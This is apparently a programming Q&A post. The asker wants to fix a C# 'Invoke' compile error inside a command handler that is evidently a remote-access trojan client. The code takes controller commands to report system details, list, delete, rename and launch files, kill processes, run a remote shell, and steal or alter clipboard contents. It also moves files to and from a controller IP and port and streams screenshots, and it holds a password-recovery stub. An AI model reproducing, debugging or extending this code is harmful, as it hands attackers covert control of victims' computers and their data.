title: "foem1" does not contain definition for Invoke and no exitension method 'invoke'
body: <p>I have a problem with this command in C#:</p>
  
  <p>I have problem in this line :::: (this.InvokeRequired) he send me this problem "foem1" does not contain definition for Invoke and no exitension method 'invoke' accepting a first argument of type 'form1' could not found (are you missing a using directive or an assembly reference ) – Z-one Ideas 12 mins ago  </p>
  
  <p>This is my code:</p>
  
  <pre><code>public void Befehleinterpretieren(string Befehl)
  {
      string[] Befehlsteil = Befehl.Split('°');
      switch (Befehlsteil[0])
      {
          case "Information":
              DriveInfo d_1 = new DriveInfo("C:\\");
              this.Client.Textsenden("HD°" + d_1.TotalSize.ToString());
              this.Client.Textsenden("OSVersion°" + Environment.OSVersion.ToString());
              break;
          case "Filemanager":
              if (Befehlsteil[1] == "Inhalteauflisten")
              {
                  string Path = Befehlsteil[2];
                  if (Directory.Exists(Path) == true)
                  {
                      try
                      {
                          string Inhalt = null;
                          foreach (string Ordner in (new Microsoft.VisualBasic.Devices.ServerComputer()).FileSystem.GetDirectories(Path, Microsoft.VisualBasic.FileIO.SearchOption.SearchTopLevelOnly))
                          {
                              Inhalt += Ordner + "*+*";
                          }
                          Inhalt += "+++";
                          foreach (string Datei in (new Microsoft.VisualBasic.Devices.ServerComputer()).FileSystem.GetFiles(Path, Microsoft.VisualBasic.FileIO.SearchOption.SearchTopLevelOnly))
                          {
                              Inhalt += Datei + "*+*";
                          }
                          this.Client.Textsenden("Filemanager°Inhalt°" + Path + "°" + Inhalt);
                      }
                      catch (Exception)
                      {
                          //Fehlermeldung zurücksenden
                      }
                  }
              }
              else if (Befehlsteil[1] == "Löschen")
              {
                  string Pfad = Befehlsteil[2];
  
                  if (Directory.Exists(Pfad) == true)
                  {
                      (new Microsoft.VisualBasic.Devices.ServerComputer()).FileSystem.DeleteDirectory(Pfad, Microsoft.VisualBasic.FileIO.DeleteDirectoryOption.DeleteAllContents);
                  }
                  else if (File.Exists(Pfad) == true)
                  {
                      (new Microsoft.VisualBasic.Devices.ServerComputer()).FileSystem.DeleteFile(Pfad);
                  }
              }
              else if (Befehlsteil[1] == "Umbennen")
              {
                  string Pfad = Befehlsteil[2];
  
                  if (Directory.Exists(Pfad) == true)
                  {
                      try
                      {
                          (new Microsoft.VisualBasic.Devices.ServerComputer()).FileSystem.RenameDirectory(Pfad, Befehlsteil[3]);
                      }
                      catch (Exception)
                      {
  
                      }
                  }
                  else if (File.Exists(Pfad) == true)
                  {
                      try
                      {
                          (new Microsoft.VisualBasic.Devices.ServerComputer()).FileSystem.RenameFile(Pfad, Befehlsteil[3]);
                      }
                      catch (Exception)
                      {
  
                      }
                  }
              }
              else if (Befehlsteil[1] == "Ordnererstellen")
              {
                  (new Microsoft.VisualBasic.Devices.ServerComputer()).FileSystem.CreateDirectory(Befehlsteil[2]);
              }
              else if (Befehlsteil[1] == "Starten")
              {
                  if (File.Exists(Befehlsteil[2]))
                  {
                      Process.Start(Befehlsteil[2]);
                  }
              }
              break;
          case "ProcessManager":
              if (Befehlsteil[1] == "Refresh")
              {
                  string Inhalt = null;
  
                  foreach (Process p in Process.GetProcesses())
                  {
                      Inhalt += p.ProcessName + "+++" + System.Convert.ToString(p.Id) + "*+*";
                  }
                  this.Client.Textsenden("ProzessListe°" + Inhalt);
              }
              else if (Befehlsteil[1] == "Kill")
              {
                  try
                  {
                      Process.GetProcessById(int.Parse(Befehlsteil[2])).Kill();
                  }
                  catch (Exception)
                  {
  
                  }
              }
              break;
          case "Shell":
              if (Befehlsteil[1] == "Start")
              {
                  Shell.Start();
              }
              else if (Befehlsteil[1] == "Stop")
              {
                  Shell.Stoppen();
              }
              else if (Befehlsteil[1] == "Command")
              {
                  Shell.CommandAusführen(Befehlsteil[2]);
              }
              break;
          case "Clipboard":
              if (Befehlsteil[1] == "GetText")
              {
                  if (this.InvokeRequired == true)
                  {
                      c2 c1 = new c2(Clipboard_GetText);
                      this.Invoke(c1);
                  }
                  else
                  {
                      Clipboard_GetText();
                  }
              }
              else if (Befehlsteil[1] == "SetText")
              {
                  if (this.InvokeRequired == true)
                  {
                      c1 c1 = new c1(Clipboard_SetText);
                      this.Invoke(c1, Befehlsteil[2]);
                  }
                  else
                  {
                      Clipboard_SetText(Befehlsteil[2]);
                  }
              }
              else if (Befehlsteil[1] == "Clear")
              {
                  if (this.InvokeRequired == true)
                  {
                      c3 c3 = new c3(ClearClipboard);
                      this.Invoke(c3);
                  }
                  else
                  {
                      ClearClipboard();
                  }
              }
              break;
          case "Uploadfile":
              UploadFile U = new UploadFile();
              U.Start(this.P_IP, this.P_Port, Befehlsteil[1]);
              break;
          case "Downloadfile":
              DownloadFile D = new DownloadFile();
              D.Start(this.P_IP, this.P_Port, Befehlsteil[1], Befehlsteil[2], Befehlsteil[3]);
              break;
          case "Screenshot":
              if (Befehlsteil[1] == "Start")
              {
                  UploadScreenshot.Start(this.P_IP, this.P_Port, int.Parse(Befehlsteil[2]));
              }
              else if (Befehlsteil[1] == "Stop")
              {
                  UploadScreenshot.Stoppen();
              }
              break;
          case "PasswordRecovery":
              break;
  
          case "CloseClient":
              Application.Exit();
              break;
      }
  }
  
  delegate void c1(string sText);
  delegate void c2();
  delegate void c3();
  
  private void Clipboard_GetText()
  {
      this.Client.Textsenden("Clipboard°" + Clipboard.GetText());
  }
  
  private void Clipboard_SetText(string sText)
  {
      if (sText != "")
      {
          Clipboard.SetText(sText);
      }
  }
  
  private void ClearClipboard()
  {
      Clipboard.Clear();
  }
  
  public void Shell_TextToSend(string sText)
  {
      this.Client.Textsenden("ShellOutput°" + sText);
  }
  </code></pre>